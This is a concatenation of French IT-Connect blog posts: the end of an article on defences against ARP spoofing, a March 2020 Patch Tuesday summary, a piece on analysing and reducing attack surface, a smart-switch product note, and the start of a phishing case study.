<p>Lors de mes recherches sur les techniques de protection, je suis arrivé à la lecture d'une solution appelée "<em>Anti-MAC spoofing</em>" mise en place dans certains produits de Symantec comme "<em>Symantec Sygate Enterprise Protection</em>". <strong>Le principe est en fait de n'autoriser les réponses ARP (<em>ARP Reply</em>) à transiter sur le réseau uniquement si une requête ARP (<em>ARP reques</em>t) a été enregistrée précédemment</strong>. Également,<strong> seules les réponses en rapport avec la requêtes seront autorisées à transiter</strong>. Il ne sera alors pas possible, après une requête de type "<em>quelle est l'adresse MAC de 192.168.0.1</em>" d'accepter une réponse "L'adresse MAC de 192.168.0.17 est '<em>aa:bb:cc:dd:ee:ff</em>' ".</p>
<p>En des termes plus techniques, on bloque le "<em>gratuitous ARP</em>" qui est le fait d'envoyer des réponses ARP à des machines n'ayant rien demandé dans le but de fausser leur table ARP, ce qui est la base de l'ARP spoofing.</p>
<p>Plus d'informations dans la documentation Symantec :<a href="https://www.symantec.com/security_response/glossary/define.jsp?letter=a&amp;word=anti-mac-spoofing" target="_blank" rel="noopener noreferrer"> https://www.symantec.com/security_response/glossary/define.jsp?letter=a&amp;word=anti-mac-spoofing</a><br />
Dans le même esprit, on retrouve la solution "<em>MAC-IP anti Spoof</em>" de SonicWall. Outre une base centralisée saisie par l'administrateur, la base DHCP peut ici également être une base de référence.</p>
<p>Plus d'informations dans la documentation SonicWall : <a href="http://help.mysonicwall.com/sw/eng/7630/ui2/70/Policies_Network_MAC-IPAnti-Spoof_Snwls.html" target="_blank" rel="noopener noreferrer">http://help.mysonicwall.com/sw/eng/7630/ui2/70/Policies_Network_MAC-IPAnti-Spoof_Snwls.html</a><br />
En théorie, cela peut être une protection efficace. Je n'ai en revanche pas plus de détail sur l'infrastructure que cela requiert au niveau du déploiement réseau. Il faut en effet que tout le réseau soit couvert par cette protection pour ne pas laisser de zones vulnérables.</p>
<h3>C. Détection par les IDS</h3>
<p>De manière plus classique, et sans avoir à acheter de solution révolutionnaire, il est également possible de détecter des attaques ARP spoofing via des IDS. Il est pour cela nécessaire d'avoir un IDS en place avec un port mirroring au niveau du cœur de réseau.<strong> En analysant le trafic ARP, on pourra ainsi détecter des comportements anormaux comme l'ARP spoofing</strong>.</p>
<p>En effet, nous avons vu que pour que l'ARP spoofing soit un succès, il faut flooder (envoyer continuellement) des paquets ARP-reply à notre ou nos cibles. <strong>Ce comportement ne s'observe pas dans un contexte normal de communication entre des machines</strong>. L'analyse d'un grand nombre de paquets ARP-reply envoyés peut donc être faite par des IDS qui enverrons alors une alerte aux équipes de sécurité.</p>
<p>C'est une configuration que je n'ai encore jamais mise en place, en connaissant le fonctionnement d'un IDS en port mirroring et de l'attaque ARP spoofing, je pense que l'on peut néanmoins s'attendre à des détections d'attaque par ARP spoofing via cette méthode, qui a le mérite de pouvoir être mise en place avec des logiciels libres 😉 .</p>
<h3>D. DAI : Dynamic ARP Protection</h3>
<p>Le DAI, ou "<em>Dynamic ARP Protection</em>" est une solution notamment employée dans les éléments actifs Cisco et HP dans le but de protéger le réseau des attaques par ARP spoofing. Le principe est différent de celui employé par Symantec. En effet,<strong> le DAI va, pour chaque réponse ARP envoyée depuis un port qui n'est pas de confiance, comparer les données qu'elle contient à une base de données de confiance pré-enregistrée dans le réseau</strong> et dropper les paquets ARP-reply contenant de fausses informations. Cela évite alors en principe la falsification d'une correspondance MAC - IP au sein d'un réseau et ainsi les attaques MITM via ARP spoofing.</p>
<p>Cette technique de protection est intéressante car on peut alors maintenir une table ARP statique centralisée qui sert donc de référence à toutes les réponses ARP.<br />
Plus d'informations à ce sujet dans la documentation Cisco : <a href="http://www.cisco.com/c/en/us/td/docs/switches/lan/catalyst6500/ios/12-2SX/configuration/guide/book/dynarp.html#wp1082194" target="_blank" rel="noopener noreferrer">http://www.cisco.com/c/en/us/td/docs/switches/lan/catalyst6500/ios/12-2SX/configuration/guide/book/dynarp.html#wp1082194</a></p>
<p>Dans cet article, nous avons étudié le fonctionnement, l'exécution et les impacts des attaques Man in the Middle par ARP spoofing. Nous avons également étudié et vu plusieurs pistes de protection contre ces attaques. <strong>Il faut savoir que les attaques par l'homme du milieu sont la base de beaucoup d'autres attaques réseau comme SslStrip, DNS spoofing,</strong> etc. Il est donc crucial de sécuriser cette base dans un système d'information sensible.</p>
<p><strong>N'hésitez pas à écrire vos avis, réactions et conseils dans les commentaires de l'article.</strong></p>


feed_id: https://www.it-connect.fr/?p=34700
title: Patch Tuesday – Mars 2020 : 115 vulnérabilités corrigées
uri: Patch-Tuesday-Mars-2020-115-vulnérabilités-corrigées
url: https://www.it-connect.fr/patch-tuesday-mars-2020-115-vulnerabilites-corrigees/
content:
<p><strong>Qui dit second mardi du mois, dit nouveau Patch Tuesday : une nouvelle fois Microsoft a publié une quantité importante de correctifs, notamment pour la sécurité. Au total, 115 correctifs sont inclus dont 26 classés comme étant critique. La bonne nouvelle c'est qu'aucune de ces failles n'est exploitée activement.</strong></p>
<p>Pour les versions de Windows 10 sous support, à savoir les versions 1809, 1903 ou 1909, les patchs cumulatifs sont les suivants : KB4538461 pour le premier et KB4540673 pour les deux autres versions citées. Cette mise à jour intègre des correctifs pour les navigateurs : Microsoft Edge et Internet Explorer. Par ailleurs, Microsoft a intégré une couche de sécurité supplémentaire pour le contrôle des périphériques externes, notamment les caméras ou les imprimantes.</p>
<p>En complément, nous retrouvons des correctifs pour d'autres produits Microsoft comme Word pour la CVE-2020-0852, ainsi qu'u<strong>ne faille critique corrigée dans les fichiers raccourcis ".LNK"</strong> (<em>CVE-2020-0684</em>). L'exploitation de cette vulnérabilité permet une exécution de code à distance sur le poste client et donne à l'attaquant les droits de l'utilisateur connecté sur la machine, pour déclencher l'attaque il faut que l'utilisateur ouvre un fichier LNK malveillant.</p>
<p>Il est à noter également que <strong>Microsoft a publié un message d'avertissement au sujet du protocole SMBv3</strong>, pour un problème de sécurité qui n'est pas résolu pour le moment (mais n'est pas connu publiquement) : ce qui n'est pas neutre puisqu'il s'agit du protocole utilisé pour accéder aux partages sur vos serveurs de fichiers. Pour se protéger, Microsoft recommande de désactiver la compression SMBv3 sur les serveurs, ce qui ne résout pas le problème pour les postes clients. <a href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV200005" target="_blank" rel="noopener noreferrer">Plus d'informations sur cette page.</a></p>
<p>Au niveau des produits cités par ce Patch Tuesday, nous pouvons citer : SharePoint, Exchange (CVE-2020-0688), IIS, Windows Defender, Visual Studio, le composant Microsoft Graphics, Windows Installer ainsi que le noyau Windows.</p>
<p>Retrouvez tous les détails sur le <a href="https://portal.msrc.microsoft.com/en-us/security-guidance" target="_blank" rel="noopener noreferrer">portail Microsoft</a>.</p>
<p><em>A ceux qui avaient l'espoir que Microsoft intègre un correctif pour le Coronavirus, ce n'est pas le cas.</em></p>


feed_id: https://www.it-connect.fr/?p=33776
title: Analyse et réduction de la surface d’attaque
uri: Analyse-et-réduction-de-la-surface-d-attaque
url: https://www.it-connect.fr/analyse-et-reduction-de-la-surface-dattaque/
content:
<h2 style="text-align: justify;">I. Présentation</h2>
<p style="text-align: justify;">Lorsque l'on aborde la sécurité d'un système d'information, la notion de surface d'attaque est très importante. Nous allons dans cet article essayer de comprendre ce qu'est la surface d'attaque, comment l'analyser et enfin, comment réduire sa taille.</p>
<h2 style="text-align: justify;">II. Qu'est-ce que la surface d'attaque ?</h2>
<p style="text-align: justify;">La surface d'attaque d'un système d'information peut être décrite de la façon suivante :<strong> il s'agit de tous les points d'entrée et de communication qu'un système d'information possède avec l'extérieur</strong>. Voyons quelques exemples :</p>
<ul style="text-align: justify;">
<li>un site web commercial avec un formulaire mis à disposition des clients pour la demande de devis;</li>
<li>un port VPN ouvert sur la passerelle réseau;</li>
<li>un montage d'un système de fichier externe sur un serveur de fichier;</li>
<li>les services actifs d'un serveur;</li>
<li>l'interface de gestion d'une application quelconque;</li>
<li>etc.</li>
</ul>
<p style="text-align: justify;">Tout ce qui est en interaction avec les visiteurs ou les utilisateurs fait partie de la surface d'attaque. C'est une notion que l'on peut également retrouver dans le domaine militaire. La surface d'attaque est tout simplement l'ensemble des points qui sont susceptibles d'être attaqués, car un attaquant peut être en contact avec. On retrouve également comme description de la surface d'attaque qu'elle est l'<strong>exposition du système d'information</strong> (architecture, serveurs, services, applications et même hommes), c'est ce qui peut être atteint, donc <strong>potentiellement</strong> <strong>vulnérable</strong>.</p>
<p style="text-align: justify;">Il est courant, lorsque l'on parle de la surface d'attaque, d'en distinguer quatre sortes :</p>
<ul style="text-align: justify;">
<li>La <strong>surface d'attaque logicielle</strong> : Il s'agit de tous les points d'entrée/sortie d'une application avec son environnement (OS, librairies, accès en lecture/écriture, etc.)</li>
<li>La <strong>surface d'attaque réseau</strong> : On parle ici des ports ouverts, des IP actives, des flux réseaux et protocoles utilisés,etc.</li>
<li>La <strong>surface d'attaque humaine</strong> : Il s'agit de tous les points (humains) vulnérables au <em>phishing</em> et aux techniques de <em>social engineering</em> par exemple, la ressource humaine est un élément central de la sécurité du SI et elle est bien souvent omise dans la conception de la politique de sécurité et sa mise en place.</li>
<li>La <strong>surface d'attaque physique.</strong></li>
</ul>
<p style="text-align: justify;"><em><strong>En quoi est-ce important ?</strong></em></p>
<p style="text-align: justify;">La taille, ou l'étendue, de la surface d'attaque va tout simplement<strong> refléter son exposition aux attaques éventuelles</strong>. Plus une surface d'attaque est étendue et importante, plus il va falloir travailler pour sécuriser en profondeur l'ensemble des points qui composent cette surface d'attaque.</p>
<p style="text-align: justify;">Lorsque l'on parle de la surface d'attaque et de sa réduction dans le monde informatique, il est commun de reprendre la stratégie appliquée dans le film 300. Dans ce film, le groupe de spartiate en infériorité numérique (300 soldats), face aux hordes ennemies (des milliers de soldats), utilise une stratégie de réduction de la surface d'attaque pour vaincre. Voici une illustration de cette stratégie, celle-ci peut directement être appliquée à la protection d'un SI :</p>
<figure id="attachment_33826" aria-describedby="caption-attachment-33826" style="width: 527px" class="wp-caption aligncenter"><a href="media/c6e103e7.surface-attaque-schema-011.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/surface-attaque-schema-011.png"><img class=" wp-image-33826" src="media/bffc49e5.surface-attaque-schema-011-800x642.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/surface-attaque-schema-011-800x642.png" alt="" width="527" height="423" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/surface-attaque-schema-011-800x642.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/surface-attaque-schema-011-550x442.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/surface-attaque-schema-011-150x120.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/surface-attaque-schema-011-768x617.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/surface-attaque-schema-011-160x128.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/surface-attaque-schema-011-50x40.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/surface-attaque-schema-011.png 909w" sizes="(max-width: 527px) 100vw, 527px" /></a><figcaption id="caption-attachment-33826" class="wp-caption-text">Schématisation d'une surface d'attaque non contrôlée.</figcaption></figure>
<p style="text-align: justify;">Dans le cas où la surface n'est pas réduite, où elle n'a pas subi d'analyse et de correction comme c'est le cas dans beaucoup de SI, on se retrouve avec une grande surface d'attaque. Alors, la défense et les moyens de filtrage et de contrôle sont plus complexes à mettre en place et à organiser. Une attaque de surface de grande taille se caractérise par de nombreux points d'entrée sur le système d'information, ainsi, un attaquant aura de nombreuses possibilités d'attaque et de chances supplémentaires d'y trouver une vulnérabilité pour atteindre le SI. Dans le film 300, cette stratégie aurait pu être adoptée, mais les Spartiates n'auraient pas survécu bien longtemps en raison de leur infériorité numérique. Voyons maintenant le schéma qui illustre une surface d'attaque réduite et contrôlée :</p>
<figure id="attachment_33827" aria-describedby="caption-attachment-33827" style="width: 444px" class="wp-caption aligncenter"><a href="media/17794508.surface-attaque-schema-02.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/surface-attaque-schema-02.png"><img class=" wp-image-33827" src="media/dbe78916.surface-attaque-schema-02-800x701.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/surface-attaque-schema-02-800x701.png" alt="" width="444" height="389" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/surface-attaque-schema-02-800x701.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/surface-attaque-schema-02-550x482.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/surface-attaque-schema-02-150x131.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/surface-attaque-schema-02-768x673.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/surface-attaque-schema-02-160x140.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/surface-attaque-schema-02-50x44.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/surface-attaque-schema-02.png 815w" sizes="(max-width: 444px) 100vw, 444px" /></a><figcaption id="caption-attachment-33827" class="wp-caption-text">Schématisation d'une surface d'attaque réduite.</figcaption></figure>
<p style="text-align: justify;">Dans ce cas, la surface d'attaque est contrôlée et réduite, on se retrouve donc avec une quantité moins importante de points d'entrée. L'attaquant a donc moins de possibilités d'attaque et moins de chances de trouver une porte d'entrée vulnérable sur le SI. De plus, les points de défense, de filtrage et de contrôle couvrent une zone moins importante et sont donc plus faciles à gérer et au final, plus efficaces. Il faut également noter que si la surface d'attaque est plus petite et mieux définie, les points de défenses peuvent être moins nombreux, cela signifie donc moins de main-d’œuvre pour les mettre en place, mais également moins d'achats de logiciels et matériels de protection comme des routeurs ou des modules de filtrage.</p>
<h2 style="text-align: justify;">III. Analyser une surface d'attaque, comment ?</h2>
<p style="text-align: justify;">L'analyse de la surface d'attaque est simplement le fait d'établir une <strong>cartographie précise et documentée de tous les points d'entrée du système d'information</strong>. On peut effectuer l'analyse de la surface d'attaque d'un système d'exploitation, d'une machine précise, d'une application, d'un simple port. La surface d'attaque du système d'information sera finalement composée de l'ensemble de ces éléments.</p>
<p style="text-align: justify;">Une fois que tous ces points sont listés et identifiés, il convient par la suite d'effectuer<strong> une analyses détaillées sur ceux-ci</strong>. On va alors, pour un port 80 ouvert par exemple, chercher tout ce qui pourrait être utilisé par un attaquant pour profiter de l'exposition de ce port 80. Sur une application, cela peut par exemple être le fait que l'application tourne avec les droits d'un utilisateur privilégié du système. Pour une analyse de la surface d'attaque humaine, il peut suffire du fait qu'un utilisateur "lambda" ait assez de privilèges pour effectuer des modifications sur certains systèmes ou certaines applications.</p>
<p style="text-align: justify;">Il faut savoir qu'une vulnérabilité sera forcément nuisible lorsqu'elle est présente sur un point d'entrée du système d'information. Ainsi,<strong> plus la surface d'attaque est petite (peu étendue), moins les vulnérabilités, et donc les possibilités d'attaque et d'intrusion, seront nombreuses (mais pas forcément de moindre impact !)</strong>.<strong><br />
</strong></p>
<p style="text-align: justify;">À partir du moment où l'on a fait l'analyse et la cartographie de la surface d'attaque, on sait mettre en avant et identifier différents points qui sembleront plus critiques en fonction de leur impact potentiel sur le système d'information. On pourra également porter plus d'attention sur certains points d'entrée de la surface d'attaque en observant la probabilité qu'ils soient attaqués. Un port 22 sur un serveur ouvert sur internet est un point d'entrée très critique par exemple. <strong>Néanmoins, chaque point d'entrée à son importance et il ne faut en négliger aucun</strong>.</p>
<p style="text-align: justify;">Lors de l'analyse de la surface d'attaque, on peut établir une hiérarchie et une suite dans les points d'entrée. Voici un schéma qui peut illustrer une partie de l'analyse de la surface d'attaque  :</p>
<figure id="attachment_33828" aria-describedby="caption-attachment-33828" style="width: 800px" class="wp-caption aligncenter"><a href="media/c923abf4.analyse-surface-attaque-002.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/analyse-surface-attaque-002.png"><img class="size-large wp-image-33828" src="media/09235e72.analyse-surface-attaque-002-800x244.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/analyse-surface-attaque-002-800x244.png" alt="" width="800" height="244" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/analyse-surface-attaque-002-800x244.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/analyse-surface-attaque-002-550x168.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/analyse-surface-attaque-002-150x46.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/analyse-surface-attaque-002-768x234.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/analyse-surface-attaque-002-160x49.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/analyse-surface-attaque-002-50x15.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/analyse-surface-attaque-002.png 978w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption id="caption-attachment-33828" class="wp-caption-text">Analyse de la surface d'attaque, après un port peuvent se cacher plusieurs points d'entrée.</figcaption></figure>
<p style="text-align: justify;">Ici, l'analyse de la surface d'attaque commence par le point d'entrée qui est l'IP et le port de la machine. Il ne faut ici pas oublier l'OS du serveur qui peut déjà contenir des vulnérabilités. Sur ce point d'entrée tourne un service Apache2 qui peut lui aussi être attaqué, sur ce serveur Apache2, deux applications distinctes qui peuvent aussi contenir leurs propres vulnérabilités et qui contiennent des points d'entrée supplémentaires, sur un service web il peut par exemple s'agir de possibilité d'uploader des fichiers, de saisir du texte stocké sur le serveur, ou de la possibilité de faire des recherches... <strong>Chacun de ces points est une partie de la surface d'attaque</strong>.</p>
<p style="text-align: justify;">L'analyse de la surface d'attaque permet finalement d'orienter et de définir ce qu'il faut défendre et protéger. <strong>Cette analyse doit être clairement documentée afin de savoir ce qui est présent sur le système d'information</strong>, on doit également régulièrement revérifier et analyser de nouveau la surface d'attaque afin de voir si des changements ont été opérés.</p>
<ul style="text-align: justify;">
<li>Quels sont les services que j'ai mis en place depuis ma dernière analyse de la surface d'attaque ?</li>
<li>Qu'est ce que ces services ont ouvert sur l'extérieur ou sur l'environnement de mon application ?</li>
<li>Ma surface d'attaque est-elle plus ou moins étendue qu'avant ?</li>
<li>Les vulnérabilités de tel point d'entrée de ma surface d'attaque sont-elles plus ou moins nombreuses ou dangereuses ?</li>
</ul>
<p style="text-align: justify;">Une fois que la surface d'attaque est cartographiée et connue, il faut maintenant travailler à la réduction de sa taille.</p>
<h2 style="text-align: justify;">IV. Réduction et surveillance de la surface d'attaque</h2>
<p style="text-align: justify;">Le système d'information d'une entreprise est un élément vivant, c'est pour cela qu'il arrive constamment que certains services deviennent inutilisés ou ne soient utilisés que très rarement. D'autres services sont peu mis à jour, car ils sont considérés comme peu critiques. La <strong>réduction de la surface d'attaque</strong> (ou <strong>ASR</strong> pour <strong>"Attack Surface Reduction"</strong>) permet d'avoir un meilleur contrôle sur ce qui est exposé et ainsi d'améliorer la sécurité globale du SI ou d'une application, mais quelles sont les actions à mener pour réduire la taille de la surface d'attaque et pour la contrôler ? Nous allons ici explorer plusieurs pistes :</p>
<ul style="text-align: justify;">
<li>Une fois que tous les points de la surface d'attaque ont été identifiés, on pourra généralement y distinguer des points plus critiques que d'autres. Il sera alors possible de <strong>mettre en place des outils de surveillance ou de protections avancés</strong> sur ces points (les points critiques comme les points moins critiques). On pourra par exemple mettre en place une <a title="Centralisation des logs avec Rsyslog" href="http://www.it-connect.fr/centralisez-vos-logs-avec-rsyslog/" target="_blank" rel="noopener noreferrer">centralisation et une analyse des logs à l'aide de Rsyslog</a> et d'un IDS comme Snort ou Suricata. Les systèmes d'analyse de logs tels que les IDS permettent en effet de relever plus tôt les intrusions ou les comportements anormaux, ce qui va dans le sens d'une surveillance accrue d'un point d'entrée.</li>
</ul>
<ul style="text-align: justify;">
<li>On peut également procéder, pour les systèmes fortement exposés à une analyse de sécurité régulière, utiliser outils comme les <a title="Sécurité Linux avec Lynis" href="http://www.it-connect.fr/scan-de-votre-systeme-unix-avec-lynis/" target="_blank" rel="noopener noreferrer">scripts Lynis</a> et <a title="LBSA Sécurité sous Linux" href="http://www.it-connect.fr/securite-linux-decouverte-de-lbsa/" target="_blank" rel="noopener noreferrer">LBSA sous Linux</a> qui permettent de mettre en place les vérifications de différents points de sécurité et au final, d'assurer une sécurité minimale.</li>
</ul>
<ul style="text-align: justify;">
<li>Le contrôle de la taille de sa surface d'attaque passe également par <strong>la gestion de son évolution</strong>. Une fois que la surface d'attaque est définie et identifiée, il est important de garder ce contrôle même lorsque le système évolue. On doit donc, lors d'une modification, savoir précisément ce qu'ouvre tel ou tel outil sur la surface d'attaque et procéder si nécessaire à une nouvelle analyse de celle-ci.</li>
</ul>
<p style="text-align: justify;">Sur un système d'exploitation, la réduction de la taille de la surface d'attaque ou de l'exposition aux attaques passe bien souvent par l'<strong>analyse de ce qui n'est pas ou peut utilisé</strong> <strong>sur le système</strong>, on va ensuite décider de fermer services et ports inutiles pour limiter les possibilités d'interaction à distance avec ce système. C'est un principe largement connu, mais peu appliqué, car il nécessite du temps et une connaissance profonde de l'utilisation des services et des serveurs par le SI et les utilisateurs. Ce processus, appliqué à l'OS ou aux applications, s'appelle l'hardening ou "durcissement" : <a href="https://ogma-sec.fr/en/quest-ce-que-lhardening/" target="_blank" rel="noopener noreferrer">qu'est ce que l'hardening ?</a></p>
<p style="text-align: justify;">Les différentes procédures d'authentification sont également un moyen de réduire l'exposition globale d'un système, on va effet essayer de "cacher" la majeure partie des interactions possibles derrière une ou plusieurs authentifications. On va alors réduire le nombre de personnes pouvant effectuer des actions avancées ou dangereuses et ainsi réduire la surface d'attaque totale.</p>
<p style="text-align: justify;">De grands principes de la sécurité informatique permettent de réduire la taille de la surface d'attaque, on notera par exemple :</p>
<ul style="text-align: justify;">
<li><strong>Le contrôle des accès réseaux et systèmes</strong> : On va ici vouloir mettre en place des restrictions et des filtrages avancés pour ne laisser passer que les flux qui sont légitimes au travers un routeur par exemple. De la même façon, les firewalls des systèmes exposés seront actifs et les filtres configurés de façon très précise.</li>
</ul>
<ul style="text-align: justify;">
<li><strong>Le principe de moindre privilège</strong> : Lorsqu'il s'agit de limiter l'impact de la corruption d'un poste utilisateur ou même les effets d'une attaque par social engineering, le principe de moindre privilège peut permettre de réduire la surface d'attaque. On va alors donner à un utilisateur ou un groupe le minimum de privilège par rapport à ses besoins, on pourra donc savoir précisément les systèmes et informations auxquels a accès tel utilisateur et avoir une idée plus précise de la taille de sa surface d'attaque, mais aussi de l'impact potentiel que peut avoir une attaque sur cet élément humain. Le principe de moindre privilège s'applique également à la partie application, on va alors éviter de faire tourner un service ayant une interaction avec l'extérieur en tant que root par exemple, le fait de le faire tourner avec les droits d'un utilisateur avec moins de privilèges réduira la taille de la surface d'attaque du système par rapport à cette application.</li>
</ul>
<p style="text-align: justify;">Nous avons vu plus haut que la surface d'attaque était aussi composée des hommes qui utilisent et agissent sur le système d'information,<strong> la formation des utilisateurs du SI est également un moyen de réduire la surface d'attaque</strong>, en plus du principe du moindre privilège, on va sensibiliser les utilisateurs aux différentes attaques, mais également leur apprendre à se méfier de certains appels ou de certains mails qui peuvent paraître suspect (social engineering).</p>
<p style="text-align: justify;">Du côté des applications comme des architectures systèmes et réseaux, on retrouve l'intérêt du "<strong>secure by design</strong>", il s'agit alors de penser la sécurité dès la phase de conception et non à la fin ou lorsque le temps nous le permet. Cela permet bien souvent d'éviter des erreurs, des oublies ou des failles de sécurité de conception.</p>
<p style="text-align: justify;">Nous avons dans ce billet vu ce qu'est la surface d'attaque, comment entamer son analyse et quelques pistes de réduction de sa taille, <strong>n'hésitez pas à partager vos méthodes de défense et d'analyse de la surface d'attaque dans les commentaires ou dites nous si vous étiez déjà familier avec ce principe de la sécurité informatique.</strong></p>


feed_id: https://www.it-connect.fr/?p=34704
title: Konyks Vollo Max : un nouvel interrupteur avec réglage du rétroéclairage !
uri: Konyks-Vollo-Max-un-nouvel-interrupteur-avec-réglage-du-rétroécla
url: https://www.it-connect.fr/konyks-vollo-max-un-nouvel-interrupteur-avec-reglage-du-retroeclairage/
content:
<p><strong>En octobre 2019, vous avez pu découvrir sur notre site l'interrupteur connecté pour volets roulants filaires de chez Konyks, le Konyks Vollo. L'entreprise française fait évoluer son produit et annonce une nouvelle version : Konyks Vollo Max. Quelles sont les évolutions vis-à-vis de la première version ? Faisons le point.</strong></p>
<p>Pour moi le gros défaut de la première génération c'était le rétroéclairage des boutons : il n'était pas possible de le désactiver. Dans une chambre, par exemple, cela pouvait s'avérer gênant d'avoir une lumière bleue constante... Ce défaut est corrigé avec le Vollo Max et c'est à mon sens, la principale évolution.</p>
<p>Avec le Vollo Max, le rétroéclairage peut être activé, désactivé mais aussi, et ça c'est top, on peut programmer le fait de l'activer ou le désactiver en fonction d'un planning.</p>
<p><img class="aligncenter size-full wp-image-34705" src="media/9e71aceb.konyks-vollo-max.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/konyks-vollo-max.jpg" alt="" width="400" height="402" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/konyks-vollo-max.jpg 400w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/konyks-vollo-max-150x150.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/konyks-vollo-max-160x160.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/konyks-vollo-max-50x50.jpg 50w" sizes="(max-width: 400px) 100vw, 400px" /></p>
<p>Au niveau du design, d'après les visuels il reste identique et les fonctions de pilotage restent les mêmes : grâce aux boutons tactiles, ou alors à partir de l'application sur mobile. Vous pouvez également intégrer le Vollo Max à vos scénarios.</p>
<p>L'interrupteur Vollo Max est dès à présent disponible au prix de 39,90 euros. C'était le prix de l'interrupteur Vollo, qui lui, par conséquent, passe à 34,90 euros.</p>
<p>Retrouvez ces produits sur la <a href="https://konyks.com/categorie-produit/interrupteurs/" target="_blank" rel="noopener noreferrer">boutique Konyks</a></p>
<p>(Re)découvrez l'interrupteur Vollo avec notre test : <a href="https://www.it-connect.fr/test-konyks-vollo-linterrupteur-pour-volet-roulant-100-smart-home/" target="_blank" rel="noopener noreferrer">Test Konyks Vollo</a></p>


feed_id: https://www.it-connect.fr/?p=34253
title: Etude de cas phishing : Paypal et Microsoft
uri: Etude-de-cas-phishing-Paypal-et-Microsoft
url: https://www.it-connect.fr/etude-de-cas-phishing-paypal-et-microsoft/
content:
<h2>I. Présentation</h2>
<p>Dans cet article, je vais vous présenter deux cas de <em>phishing</em> sur lesquels je suis tombé récemment <em>via</em> Phishtank. L'occasion d'en savoir un peu plus sur les méthodes des attaquants.</p>
<h2>II. Phishtank</h2>
<p>Je profite en effet de mes vacances pour me pencher à nouveau sur les cas de <em>phishing,</em> notamment via la plateforme Phishtank, que je vous ai présenté dans de précédents articles (<a href="https://ogma-sec.fr/phishing-exploration-techniques-utilisees-protections/" target="_blank" rel="noopener noreferrer">Phishing : exploration des techniques utilisées &amp; protections</a>).</p>
<p>Pour faire court, Phistank est une plateforme de lutte contre le <em>phishing,</em> on peut y remonter des liens jugés suspects, qui seront évalués par des "bénévoles" (entre autres). Je me suis donc créé un compte afin de pouvoir contribuer. Les "évaluateurs" ont donc à traiter les différents liens soumis et à les catégoriser en "Phishing", "Not phishing" et "Don't know", au bout de plusieurs votes dans une catégorie, la base de données Phistank est mise à jour. Base de données sur lesquelles se basent entre autres navigateurs web et antivirus. Voici quelques projets qui déclarent se baser sur Phistank pour leur protection :</p>
<p><a href="media/140a3cca.Phishink_phishtank-25.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_phishtank-25.png"><img class="aligncenter size-full wp-image-34290" src="media/140a3cca.Phishink_phishtank-25.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_phishtank-25.png" alt="" width="677" height="757" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_phishtank-25.png 677w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_phishtank-25-550x615.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_phishtank-25-134x150.png 134w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_phishtank-25-143x160.png 143w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_phishtank-25-45x50.png 45w" sizes="(max-width: 677px) 100vw, 677px" /></a>Je suis donc tombé sur deux cas intéressants récemment, qui m'ont permis d'en savoir un peu plus sur les méthodes et erreurs des attaquants (mot soit un peu surévalué d'ailleurs, mais je n'ai pas envie d'écrire "pêcheur" ;p).</p>
<h2>III. Phishing Microsoft</h2>
<p>Via Phistank, je découvre donc le cas suivant :</p>
<p><a href="media/9e54dd7a.Phishink_microsoft_phishtank-12.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-12.png"><img class="aligncenter size-full wp-image-34289" src="media/9e54dd7a.Phishink_microsoft_phishtank-12.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-12.png" alt="" width="565" height="291" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-12.png 565w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-12-550x283.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-12-150x77.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-12-160x82.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-12-50x26.png 50w" sizes="(max-width: 565px) 100vw, 565px" /></a></p>
